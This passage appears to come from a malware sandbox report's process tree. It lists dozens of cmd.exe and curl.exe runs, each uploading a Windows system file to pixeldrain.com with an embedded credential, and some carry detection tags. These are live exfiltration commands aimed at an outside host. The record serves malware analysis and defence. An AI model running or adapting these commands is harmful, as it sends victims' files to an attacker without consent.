  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.scale-200.png-07-11-2026--13.57.04.png
  2⤵
  PID:1308
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.scale-200.png-07-11-2026--13.57.04.png
    3⤵
    PID:2060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.contrast-black_scale-200.png-07-11-2026--13.57.04.png
  2⤵
  PID:948
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4872
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.contrast-black_scale-200.png-07-11-2026--13.57.04.png
    3⤵
    PID:3528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.contrast-white_scale-200.png-07-11-2026--13.57.04.png
  2⤵
  PID:252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.contrast-white_scale-200.png-07-11-2026--13.57.04.png
    3⤵
    - Badlisted process makes network request
    PID:1108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.scale-200.png-07-11-2026--13.57.04.png
  2⤵
  PID:2448
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars31.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars31.scale-200.png-07-11-2026--13.57.04.png
    3⤵
    PID:1180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.contrast-black_scale-200.png-07-11-2026--13.57.05.png
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.contrast-black_scale-200.png-07-11-2026--13.57.05.png
    3⤵
    PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.contrast-white_scale-200.png-07-11-2026--13.57.05.png
  2⤵
  PID:2520
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.contrast-white_scale-200.png-07-11-2026--13.57.05.png
    3⤵
    PID:2864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.scale-200.png-07-11-2026--13.57.05.png
  2⤵
  PID:4412
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars32.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars32.scale-200.png-07-11-2026--13.57.05.png
    3⤵
    PID:3252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.contrast-black_scale-200.png-07-11-2026--13.57.05.png
  2⤵
  PID:3472
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.contrast-black_scale-200.png-07-11-2026--13.57.05.png
    3⤵
    PID:4632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.contrast-white_scale-200.png-07-11-2026--13.57.06.png
  2⤵
  PID:632
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.contrast-white_scale-200.png-07-11-2026--13.57.06.png
    3⤵
    PID:1604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.scale-200.png-07-11-2026--13.57.06.png
  2⤵
  PID:5160
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars33.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars33.scale-200.png-07-11-2026--13.57.06.png
    3⤵
    PID:4100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.contrast-black_scale-200.png-07-11-2026--13.57.06.png
  2⤵
  - Executes a command shell one-liner
  PID:1140
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.contrast-black_scale-200.png-07-11-2026--13.57.06.png
    3⤵
    PID:4196
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.contrast-white_scale-200.png-07-11-2026--13.57.06.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1632
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.contrast-white_scale-200.png-07-11-2026--13.57.06.png
    3⤵
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.scale-200.png-07-11-2026--13.57.07.png
  2⤵
  PID:1836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2796
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars34.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars34.scale-200.png-07-11-2026--13.57.07.png
    3⤵
    - Badlisted process makes network request
    PID:1492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.contrast-black_scale-200.png-07-11-2026--13.57.07.png
  2⤵
  PID:1788
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.contrast-black_scale-200.png-07-11-2026--13.57.07.png
    3⤵
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.contrast-white_scale-200.png-07-11-2026--13.57.07.png
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.contrast-white_scale-200.png-07-11-2026--13.57.07.png
    3⤵
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.scale-200.png-07-11-2026--13.57.07.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4712
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars35.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars35.scale-200.png-07-11-2026--13.57.07.png
    3⤵
    PID:1380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.contrast-black_scale-200.png-07-11-2026--13.57.08.png
  2⤵
  PID:5612
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4264
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.contrast-black_scale-200.png-07-11-2026--13.57.08.png
    3⤵
    - Badlisted process makes network request
    PID:3068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.contrast-white_scale-200.png-07-11-2026--13.57.08.png
  2⤵
  PID:3564
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.contrast-white_scale-200.png-07-11-2026--13.57.08.png
    3⤵
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.scale-200.png-07-11-2026--13.57.08.png
  2⤵
  PID:4192
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars36.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars36.scale-200.png-07-11-2026--13.57.08.png
    3⤵
    - Badlisted process makes network request
    PID:3980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.contrast-black_scale-200.png-07-11-2026--13.57.08.png
  2⤵
  PID:5380
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.contrast-black_scale-200.png-07-11-2026--13.57.08.png
    3⤵
    PID:5372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.contrast-white_scale-200.png-07-11-2026--13.57.09.png
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.contrast-white_scale-200.png-07-11-2026--13.57.09.png
    3⤵
    PID:4520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.scale-200.png-07-11-2026--13.57.09.png
  2⤵
  PID:5260
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars37.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars37.scale-200.png-07-11-2026--13.57.09.png
    3⤵
    PID:2652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.contrast-black_scale-200.png-07-11-2026--13.57.09.png
  2⤵
  PID:5740
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.contrast-black_scale-200.png-07-11-2026--13.57.09.png
    3⤵
    PID:296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.contrast-white_scale-200.png-07-11-2026--13.57.10.png
  2⤵
  PID:3692
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.contrast-white_scale-200.png-07-11-2026--13.57.10.png
    3⤵
    - Badlisted process makes network request
    PID:2064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.scale-200.png-07-11-2026--13.57.10.png
  2⤵
  PID:4088
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars38.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars38.scale-200.png-07-11-2026--13.57.10.png
    3⤵
    - Badlisted process makes network request
    PID:1208
- C:\Windows\SysWOW64\cmd.exe
